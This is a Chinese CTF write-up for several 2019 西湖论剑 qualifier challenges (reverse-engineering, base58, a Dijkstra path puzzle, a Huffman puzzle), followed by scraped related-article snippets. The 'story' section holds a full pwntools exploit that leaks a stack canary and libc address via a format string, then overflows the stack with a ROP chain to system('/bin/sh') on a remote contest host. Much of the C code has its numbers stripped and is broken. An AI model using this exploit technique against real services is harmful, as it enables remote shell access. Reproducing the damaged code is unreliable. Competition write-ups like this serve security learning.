做了一天水了几道题发现自己比较菜,mfc最后也没怼出来,被自己菜哭

easycpp

c++的stl算法,先读入一个数组,再产生一个斐波拉契数列数组

main::{lambda(int)#1}::operator() 是相加函数

使用transform调用lambda(int)#1让数组从第二位到最后一位都加上第一位,然后将数组倒置

把处理后的数组与斐波拉契数组比较,若相等则输出flag,逆向求出输入即可。

testre

大部分代码没有用处,去掉混淆的代码,主要部分是这些

while ( v20 < v28 )
{
v21 = *(unsigned __int8 *)(v25input + v20);
for ( j = n - ; ; --j )
{
v10 = ;
if ( j <= v18 )
v10 = v21 != ;
if ( !v10 )
break;
v21 += v11[j] << ;
v11[j] = v21 % 0x3A;
v21 /= 0x3A;
if ( !j )
break;
}
++v20;
v18 = j;
}

整个程序就是base58的加密程序,通过谷歌特征值或者看比较字符串也不难发现是base系列算法,线上解密即可。

story

输入的地方有格式化字符串漏洞,checksec发现开启了cannary,泄露cannary的值和libc_main的地址

第二个输入的地方有栈溢出,把返回地址覆盖为system函数

因为是64位程序,所以“/bin/sh”参数要存在rdi寄存器(RDI RSI RDX RCX R8 R9)

因为上述

ROPgadget --binary story --only 'pop|ret' | grep 'rdi'  #找到rop链存参数"/bin/sh"

from pwn import *
context.log_level = 'debug'
elf = ELF('./story')
# p = process('./story')
p = remote('ctf2.linkedbyx.com', 10855)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil("Please Tell Your ID:")
# raw_input()
p.sendline("%23$p %25$p")
p.recvuntil('Hello ')
canary = int(p.recvuntil(' '), 16)
print('canary:' + hex(canary))
__libc_start_main = int(p.recvuntil('\n'), 16)-240
print('__libc_start_main:' + hex(__libc_start_main))
libc.address = __libc_start_main - libc.symbols['__libc_start_main']
system = libc.symbols['system']
print('system:' + hex(system))
binsh = next(libc.search('/bin/sh'))
print('binsh_addr:' + hex(binsh)) p.recvuntil('Tell me the size of your story:\n')
p.sendline(str(129)) p.recvuntil('You can speak your story:')
payload = 'a'*0x88 + p64(canary) + p64(0) + p64(0x400bd3) + p64(binsh) + p64(system)
p.sendline(payload)
p.interactive()

最短路径

就是求最短路的题目,数据量很少手动也能做出来,使用 dijkstra算法算出最短路径和经过的路径。

#include<iostream>
#include<cstdio>
#include<cstring>
using namespace std;
const int INF=0x3f3f3f3f;
int matrix[][],d[],vis[],pre[],path[];
int n=; /*
'flag{' 1
'FloraPrice' 2
'E11' 3
'E9' 4
'75D}' 5
'NoraFayette' 6
'E10' 7
'E13' 8
'E12' 9
'E14' 10
'E7' 11
'E6' 12
'SylviaAvondale' 13
'MyraLiddel' 14
'HelenLloyd' 15
'KatherinaRogers' 16
'VerneSanderson' 17
'E8' 18
'FrancesAnderson' 19
'E3' 20
'DorothyMurchison' 21
'EvelynJefferson' 22
'E5' 23
'E4' 24
'E1' 25
'E2' 26
'RuthDeSand' 27
'OliviaCarleton' 28
'EleanorNye' 29
'TheresaAnderson' 30
'PearlOglethorpe' 31
'BrendaRogers' 32
'LauraMandeville' 33
'CharlotteMcDowd' 34
*/ void dijkstra(int s){
for(int i=;i<=n;i++){
d[i]=matrix[][i];
pre[i]=s;
}
memset(vis,,sizeof(vis));
for(int k=;k<=n;k++){
int v=-;
for(int i=;i<=n;i++){
if(!vis[i]&&(v==-||d[i]<d[v]))v=i;
}
vis[v]=;
for(int i=;i<=n;i++){
int tmp=d[v]+matrix[v][i];
if(tmp<d[i]){
d[i]=tmp;
pre[i]=v;
}
}
}
}
void printPath(int en){
printf("从起点到%d的路径是:\n",en);
path[]=en;
int k=;
for(int i=pre[en];i!=;i=pre[i]){
path[k++]=i;
}
printf("");
for(int i=k-;i>=;i--){
printf("->%d",path[i]);
}
printf("\n");
} int main(){
for(int i=;i<=n;i++){
for(int j=;j<=n;j++){
matrix[i][j]=;
}
}
matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=;
for(int i=;i<=n;i++){
for(int j=;j<=n;j++){
if (matrix[i][j]!=)
matrix[j][i]=matrix[i][j];
}
} dijkstra();
printPath();
}

哈夫曼之谜

哈夫曼编码问题,左边字符右边权重,网上找个类似问题改下代码

const int maxvalue=;
const int maxbit=;
const int maxn=;
#include "iostream"
#include "stdio.h"
#include "string.h"
#include "stdlib.h"
using namespace std;
struct haffnode
{
char ch;
int weight;
int flag;
int parent;
int leftchild;
int rightchild;
};
struct code
{
int bit[maxn];
int start;
int weight;
char ch;
};
void haffman(int weight[],char text[],int n,haffnode hafftree[])
{
int j,m1,m2,x1,x2,i;
for(i=;i< *n-;i++)
{
if(i < n)
{
hafftree[i].weight=weight[i];
hafftree[i].ch=text[i];
}
else
{
hafftree[i].weight=;
hafftree[i].ch='#';
}
hafftree[i].parent=;
hafftree[i].flag=;
hafftree[i].leftchild=-;
hafftree[i].rightchild=-;
}
for(i=;i< n-;i++)
{
m1=m2=maxvalue;
x1=x2=;
for(j=;j<n+i;j++)
{
if(hafftree[j].weight<m1&&hafftree[j].flag==)
{
m2=m1;
x2=x1;
m1=hafftree[j].weight;
x1=j;
}
else if(hafftree[j].weight< m2&&hafftree[j].flag==)
{
m2=hafftree[j].weight; x2=j;
}
}
hafftree[x1].parent=n+i;
hafftree[x2].parent=n+i;
hafftree[x1].flag=;
hafftree[x2].flag=;
hafftree[n+i].weight=hafftree[x1].weight+hafftree[x2].weight;
hafftree[n+i].leftchild=x1; hafftree[n+i].rightchild=x2;
}
}
void haffmancode(haffnode hafftree[],int n,code haffcode[])
{
code cd; int i,j; int child,parent;
for( i=;i< n;i++)
{
cd.start=n-;
cd.weight=hafftree[i].weight;
cd.ch=hafftree[i].ch;
child=i;
parent=hafftree[child].parent;
while(parent!=)
{
if(hafftree[parent].leftchild==child)
cd.bit[cd.start]=;
else cd.bit[cd.start]=;
cd.start--;
child=parent;
parent=hafftree[child].parent;
}
for(j=cd.start+;j<n;j++)
haffcode[i].bit[j]=cd.bit[j];
haffcode[i].start=cd.start;
haffcode[i].weight=cd.weight;
haffcode[i].ch=cd.ch;
}
}
void ccode(haffnode hafftree[],int n)
{
int i,j=,m=*n-;
char b[maxn];
memset(b,'\0',sizeof(b));
i=m-;
scanf("%s",b);
while(b[j]!='\0')
{
if(b[j]=='')
i=hafftree[i].leftchild;
else
i=hafftree[i].rightchild;
if(hafftree[i].leftchild==-)
{
printf("%c",hafftree[i].ch);
i=m-;
}
j++;
}
}
int main( )
{
int n=;
int weight[]={, , , , ,,,,};
char text[]={'a','','{','f','g','','d','}','l'};
haffnode myhafftree[maxvalue];
code myhaffcode[maxvalue];
haffman(weight,text,n,myhafftree);
haffmancode(myhafftree,n,myhaffcode);
ccode(myhafftree,n);
return ;
}

输出flag

西湖论剑2019部分writeup的更多相关文章

  1. 西湖论剑2019复现-Web之首家线上赌场上线啦

    首页打开 经过测试发现name和code参数可控,但尝试注入没有发现注入点,于是直接扫描目录找思路 一扫描,果然有问题 目录扫描里面可以看到有一个/.DS_Store的文件,DS_Store是Mac ...

  2. 西湖论剑2019--一道MISC题目的解题思路

    TTL题的writeup 第一次打西湖论剑,啥都不懂,被题目虐的很惨,一共就做出来两道题,但也算有收获.这里分享一下TTL那道misc题目的writeup,算是给自己点安慰吧. 题目描述 我们截获了一 ...

  3. CTF西湖论剑

    一,西湖论剑 itoa()函数有3个参数:第一个参数是要转换的数字,第二个参数是要写入转换结果的目标字符串,第三个参数是转移数字时所用 的基数.在上例中,转换基数为10.10:十进制:2:二进制... ...

  4. 2019_西湖论剑_预选赛 testre

    2019_西湖论剑_预选赛 testre 程序中关键操作是比较ptr,其中夹杂的一部分v26计算是为了混淆我们的分析.那么我们只要跟踪ptr数组的生成便可,向上发现v11,加密操作数组. 接下来跟踪v ...

  5. 2019西湖论剑网络安全技能大赛(大学生组)部分WriteUp

    这次比赛是我参加以来成绩最好的一次,这离不开我们的小团队中任何一个人的努力,熬了一整天才答完题,差点饿死在工作室(门卫大爷出去散步,把大门锁了出不去,还好学弟提了几个盒饭用网线从窗户钓上来才吃到了午饭 ...

  6. 2019西湖论剑web wp

    发在正文前 这应该是自己在安全圈摸爬滚打两年多以来第一次正规的ctf比赛.没解出flag,没截图,只提供了一些思路. 遥想往昔,初入大学,带着对PT的向往,一个人穿行在幽暗的图书馆,翻阅啃读一本本安全 ...

  7. 2019西湖论剑网络安全技能大赛(大学生组)--奇怪的TTL字段(补充)

    鉴于有人不会将得到的16进制数据在winhex中转成图片,我在这里写一个详细的步骤. 首先就是将六张图片的十六进制数据找出并提取出来. 打开winhex,新建一个文档. 大小可以选1bytes 将数据 ...

  8. 西湖论剑2019-msc之奇怪的TTL

    msc1给了一串很长的TTL字符,参考一些隐写的文章,猜测是在ttl中藏了信息,题目是这样的 我们截获了一些IP数据报,发现报文头中的TTL值特别可疑,怀疑是通信方嵌入了数据到TTL,我们将这些TTL ...

  9. 安恒西湖论剑线下上午CTF部分题目WP

    简单的做了两个题,一道逆向,一道misc,其他题目,因为博主上课,时间不太够,复现时间也只有一天,后面的会慢慢补上 先说RE1,一道很简单的win32逆向,跟踪主函数,R或者TAB按几下, 根据esp ...

随机推荐

  1. Win10建立标准账户并设置标准账户权限

    Win10建立标准账户,并使用组策略对标准帐户的权限进行管理. 注意:本文内容均在管理员帐户下操作,可以只看图片按图示步骤操作即可. 一.建立一个标准账户用于公用登录 (1)按”win健+R”运行“c ...

  2. linq学习(二)

    百度搜索:C# linq查询新对象 直接从list中查出一个新对象集合. 文章:https://blog.csdn.net/lym940928/article/details/80278783 fro ...

  3. Bert-util安装

    转载:https://blog.csdn.net/u013109501/article/details/91987180 https://blog.csdn.net/Vancl_Wang/articl ...

  4. Spark2 jar存档

    spark.yarn.archive需要手动将spark应用依赖jar上传到hdfs,该属性可以避免每一次运行spark应用时都重复打zip包上传到hdfs. 官网http://spark.apach ...

  5. 大数据之路week03--day05(线程 II)

    今天,咱们就把线程给完完全全的结束掉,但是不是说,就已经覆盖了全部的知识点,可以说是线程的常见的问题及所含知识基本都包含. 1.多线程(理解) (1)JDK5以后的针对线程的锁定操作和释放操作 Loc ...

  6. matlab安装MinG-w64 C/C++编译器

    matlab 2018b之编译器的安装 安装MinGW C/C++ 编译器

  7. springboot mybatis 的SQL异常不输出错误到控制台问题排查

    项目中使用springboot集成 mybatis,运行过程中查询SQL列在表中不存在,但系统不输出任何错误到控制台 但SQL是打印的,只是没有任何异常信息 将SQL复制出来到数据库中运行,才发现错误 ...

  8. pip报错:解决pkg_resources.DistributionNotFound: The 'pip==7.1.0' distribution was not found and is required by the application

    如果pip安装后提示依然没有pip命令,需在在添加环境变量 # vim /etc/profile 在文档最后,添加: export PATH="/usr/local/python2.7/bi ...

  9. contos7上安装rabbitmq

    #centeros7 安装erlang yum install erlang #启动扩展源 yum install epel-release #下载rabbitmq源文件 wget http://ww ...

  10. ES6-3 变量的解构赋值

    1.数组的解构赋值 数组的解构赋值其实是=左右进行“模式匹配”. ❗️❗️❗️=右侧是具体的数值,不是变量!,=左侧的是变量!如果右侧是变量形式,需要先计算出具体的数值!! let [a,[b],c] ...